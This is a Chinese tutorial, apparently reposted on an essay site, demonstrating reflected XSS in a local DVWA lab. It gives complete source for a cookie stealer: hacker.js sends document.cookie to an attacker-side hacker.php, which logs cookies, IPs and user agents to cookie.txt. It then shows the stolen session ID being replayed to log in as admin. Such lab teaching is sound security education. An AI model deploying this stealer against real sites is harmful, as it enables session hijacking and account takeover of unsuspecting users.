1500字范文,内容丰富有趣,写作好帮手!
1500字范文 > php反射型xss 利用反射型XSS漏洞 模拟获取登录账户的Cookie

php反射型xss 利用反射型XSS漏洞 模拟获取登录账户的Cookie

时间:2021-06-13 14:19:59

相关推荐

php反射型xss 利用反射型XSS漏洞 模拟获取登录账户的Cookie

目录结构

一、测试环境

二、测试目标

三、原理描述

四、操作步骤

1.在服务器上搭建并启用hacker测试网站

2.在服务器上测试站点根目录内创建一个存放攻击脚本的文件夹

3.在xss文件夹下创建攻击脚本、cookie存储文件

4.浏览器客户端向服务端提交特殊构造的XSS攻击脚本

5.检查服务端获取到的cookie信息

6.验证服务端获取到的cookie的有效性

一、测试环境:

PhpStudy+DVWA

二、测试目标:

从已知站点的XSS漏洞,获取已登录账户的cookie相关信息,传递到服务端指定文件中存储

三、原理描述:

利用已知A站点(模拟被攻击站点,http://localhost:8001/dvwa/)存在的反射型XSS漏洞,浏览器客户端向服务端提交特殊构造的脚本语句,由于客户端和服务端缺少必要的敏感字符过滤、转义等控制,浏览器端解析html代码时会执行提交时构造的JavaScript语句,并将当前浏览器登录账户的cookie信息获取并赋给url中设定的参数传递。

因JavaScript语句中构造有B站点(模拟实现攻击的测试网站,:8002)服务端上指定的js脚本,该js脚本被设置为指向服务端上预先准备好的PHP攻击脚本,该PHP脚本则用来接收浏览器端特定参数传递过来的cookie值、以及其他信息(主机IP、链接来源、日期、浏览器类型...),然后将获取的敏感信息存储到B站点服务端指定的文件中,以达到模拟实现窃取cookie的目的。

四、操作步骤

1.在服务器上搭建并启用hacker测试网站

模拟实现攻击的测试网站

服务端攻击站点的目录

2.在服务器上测试站点根目录内创建一个存放攻击脚本的文件夹

如:创建一个文件夹 xss

3.在xss文件夹下创建攻击脚本、cookie存储文件

本次测试用攻击脚本:

hacker.js

hacker.php

cookie存储文件:

cookie.txt

1)hacker.js

//通过指定的名称'img'创建img元素

var img = document.createElement('img');

img.width = 0;

img.height = 0;

//将img元素的src属性指向脚本文件hacker.php

//将cookie信息的字符串作为URI组件进行编码,然后用ck参数传递

img.src = ':8002/xss/hacker.php?ck='+encodeURIComponent(document.cookie);

2)hacker.php

@ini_set('display_errors',1); //PHP开启展示错误信息(若有错误的情况下)

$cookie = $_GET['ck']; //将ck参数传递的cookie信息以GET请求方式获取,赋给$cookie变量存储

$fileName = "hacker.php"; //$fileName变量用以存放hacker.php脚本

if(is_writable($fileName)==true){ //判断若文件$fileName存在且可写,则返回true

date_default_timezone_set('PRC'); //设置中国时区,便于后面的$time获取的时间准确(不早不晚)

$time = date('Y-m-d H:i:s'); //以"年-月-日 时:分:秒"的格式显示时间

$ip = getenv('REMOTE_ADDR'); //远程主机IP地址

$referer = getenv ('HTTP_REFERER'); //链接来源

$agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型

//以写入方式打开cookie.txt文件(若没有则创建TA)

$fp = fopen('cookie.txt', "a");

//将$ip、$time、$agent、$referer、$cookie变量对应的值写入到打开的cookie.txt文件中

fwrite($fp,"IP: ".$ip."\n"."Time: ".$time."\n"."User Agent: ".$agent."\n"."Referer: ".$referer."\n"."Cookie: ".$cookie."\n");

//将打开的文件关闭

fclose($fp);

}

else{

echo "Can't Write !";

}

?>

4.浏览器客户端向服务端提交特殊构造的XSS攻击脚本

构造XSS攻击脚本:

Reflected XSS界面

提交JavaScript脚本

JavaScript脚本已嵌入到html代码中

5.检查服务端获取到的cookie信息

已自动将cookie信息存放到cookie.txt文件中

6.验证服务端获取到的cookie的有效性

未用账户和密码登录,直接修改cookie中各项为服务端获取到的cookie值

替换PHPSESSID值,保存

替换security值,保存

此时,已直接进入到账户admin的已登录界面,实现不用账户和密码直接可登录站点的效果

登录成功

本内容不代表本网观点和政治立场,如有侵犯你的权益请联系我们处理。
网友评论
网友评论仅供其表达个人看法,并不表明网站立场。